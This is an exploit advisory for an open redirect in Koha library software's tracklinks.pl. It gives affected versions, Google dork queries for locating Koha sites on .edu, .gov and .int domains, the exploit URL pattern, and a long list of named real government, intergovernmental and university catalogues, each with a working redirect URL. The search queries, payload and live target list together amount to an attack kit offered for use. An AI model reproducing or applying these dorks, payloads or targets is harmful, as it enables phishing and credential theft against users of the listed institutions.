#################################################################### # Exploit Title : Koha Library Software 18.1106000 Tracklinks Open Redirection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 19/06/2019 # Vendor Homepage : koha.org - koha-community.org Software Download Link : download.koha-community.org download.koha-community.org/old_releases/ Software Affected Versions : Koha 18.1106000 Koha 18.1105000 Koha 18.1104000 Koha 18.1101000 Koha 18.0508000 Koha 18.0510000 Koha 18.0507000 Koha 17.0506000 Koha 17.0505000 Koha 17.1105000 Koha 17.1103000 Koha 16.1114000 Koha 16.0504000 Koha 3.2208000 Koha 3.2204000 Koha 3.1408000 Koha 3.1411000 Koha 3.2210000 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : High # Google Dorks : inurl:"/cgi-bin/koha/opac-user.pl" site:edu inurl:"/cgi-bin/koha/opac-user.pl" site:gov inurl:"/cgi-bin/koha/opac-user.pl" site:int inurl:"/cgi-bin/koha/opac-user.pl" inurl:"/cgi-bin/koha/opac-main.pl" inurl:/cgi-bin/koha/opac-shelves.pl intext:Powered By Koha # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description About Software : **************************** Koha Library Software - The world's first free and open source library system Koha is a fully featured, scalable library management system. Development is sponsored by libraries of varying types and sizes, volunteers, and support companies worldwide. #################################################################### # Impact : *********** Koha Library Software accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible for attackers to steer users to malicious websites. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. Web users often encounter redirection when they visit the Web site of a company whose name has been changed or which has been acquired by another company. Visiting unreal web page user's computer becomes affected by malware the task of which is to deceive the valid actor and steal his personal data. #################################################################### # Vulnerable File : ***************** /tracklinks.pl # Vulnerable Parameters : *********************** ?uri=// ?biblionumber=[ID-NUMBER]&uri=// # Open Redirection Exploit : ************************** /cgi-bin/koha/tracklinks.pl?uri=//[REDIRECT-ADDRESS-HERE].gov /cgi-bin/koha/tracklinks.pl?biblionumber=[ID-NUMBER]&uri=//[REDIRECT-ADDRESS-HERE].gov #################################################################### # Example Vulnerable Sites : ************************* [+] gvpl.kohacatalog.com/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] opac.spc.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] wipo.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.ffa.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] kohahq.searo.who.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] opackoha.iica.int/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalog.kelantanlibrary.gov.my/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalog.aum.edu.kw/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalog.sll.texas.gov/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalog.library.strathamnh.gov/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] koha.arcadia.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.git.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] koha.etu.edu.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] koha.oac.uncor.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.sust.edu/cgi-bin/koha/tracklinks.pl?biblionumber=39822&uri=//cxsecurity.com [+] opac.library.strathmore.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] kutuphane.tbmm.gov.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] krc.aim.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] dlibrary.mediu.edu.my/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.britishcouncil.org.in/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] libcat.staffs.ac.uk/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] cheslive.koha-ptfs.co.uk/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] opac.library.iitb.ac.in/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalog.cin.bywatersolutions.com/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] opac.iiuc.ac.bd/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalog.roundrocktexas.gov/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalogo.escuelaing.edu.co/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.jnec.edu.bt/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalogue.univ-amu.fr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.iisermohali.ac.in/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] vlib.uniten.edu.my/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] opac.tiss.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] opac.nitrkl.ac.in/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] libkoha.alfaisal.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.jru.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] koha.aauni.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.mghihp.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] librarycatalogue.insead.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.thapar.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.marianas.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] opac.library.usao.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] lib.bus.umich.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] opac.northsouth.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.iccs.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] koha.mei.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalogo.udelistmo.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] biblio.ebaf.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.mendocino.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalog.pisd.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] catalog.library.drbu.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] library.tcmi.edu/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################